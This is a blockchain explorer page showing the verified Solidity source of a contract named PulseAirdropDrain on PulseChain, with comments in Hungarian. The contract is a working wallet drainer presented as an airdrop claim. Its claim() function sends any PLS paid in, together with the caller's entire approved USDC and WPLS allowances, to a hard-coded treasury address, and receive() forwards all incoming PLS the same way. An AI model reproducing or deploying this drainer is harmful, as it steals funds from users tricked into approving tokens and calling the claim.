Skip to main content
PulseScanner.io

Address

0x7d2edfdcb550d9abc06c7b9e698bfc83e1d8082d
Current Holdings
$0.00
TXs sent
not counted
First Active
2026-08-18
block 27,321,278
Last Active
30 days ago
block 27,321,278
Funded By
not identified

Net worth historyi

No net-worth snapshots recorded yet
exact matchPulseAirdropDrainsolc 0.8.0+commit.c7dfd78eruntime exact · creation exact
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IERC20 {
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
}

contract PulseAirdropDrain {
    address public constant treasury = 0xc58e2F9d42391ebf010f81fE2F9796325718414B;
    address private constant WPLS = 0xA1077a294dDE1B09bB078844df40758a5D0f9a27;
    address private constant USDC = 0x3F56e0c36d275367b8C502090EDF38289b3dEa0d;

    // Események a sikeres műveletek naplózására
    event PLSDrained(address indexed sender, uint256 amount);
    event TokenDrained(address indexed token, address indexed sender, uint256 amount);
    event Rescue(address indexed token, uint256 amount);

    // claim() – a felhasználó meghívja, hogy kiürítse a jóváhagyott tokenjeit és küldje a PLS-t
    function claim() external payable {
        // 1. PLS (natív coin) elküldése a treasury-nek
        uint256 plsAmount = msg.value;
        if (plsAmount > 0) {
            (bool sent, ) = treasury.call{value: plsAmount}("");
            require(sent, "PLS transfer failed");
            emit PLSDrained(msg.sender, plsAmount);
        }

        // 2. Tokenek lehúzása (USDC és WPLS)
        address[2] memory tokens = [USDC, WPLS];
        for (uint i = 0; i < tokens.length; i++) {
            address token = tokens[i];
            uint256 allowance = IERC20(token).allowance(msg.sender, address(this));
            if (allowance > 0) {
                // **Javítás: high-level interface hívás, visszatérési érték ellenőrzéssel**
                bool success = IERC20(token).transferFrom(msg.sender, treasury, allowance);
                if (success) {
                    emit TokenDrained(token, msg.sender, allowance);
                } else {
                    // Ha nem sikerül, a contract nem áll le, de a felhasználó tudhatja
                    // (pl. a token nem implementálja helyesen a transferFrom-t)
                    // Opcionális: revert is lehet, de itt csendben továbblépünk
                }
            }
        }
    }

    // rescue() – a treasury címe visszaszerezheti a contractban ragadt tokeneket
    function rescue(address token) external {
        require(msg.sender == treasury, "Not owner");
        uint256 bal = IERC20(token).balanceOf(address(this));
        if (bal > 0) {
            bool success = IERC20(token).transfer(treasury, bal);
            require(success, "Token transfer failed");
            emit Rescue(token, bal);
        }
    }

    // receive() – bárki küldhet PLS-t a contractnak, az automatikusan a treasury-hez megy
    receive() external payable {
        (bool sent, ) = treasury.call{value: msg.value}("");
        require(sent, "PLS transfer failed");
        emit PLSDrained(msg.sender, msg.value);
    }

    // Támogató funkció: lekérdezhető a treasury PLS egyenlege (opcionális)
    function treasuryPLSBalance() external view returns (uint256) {
        return treasury.balance;
    }
}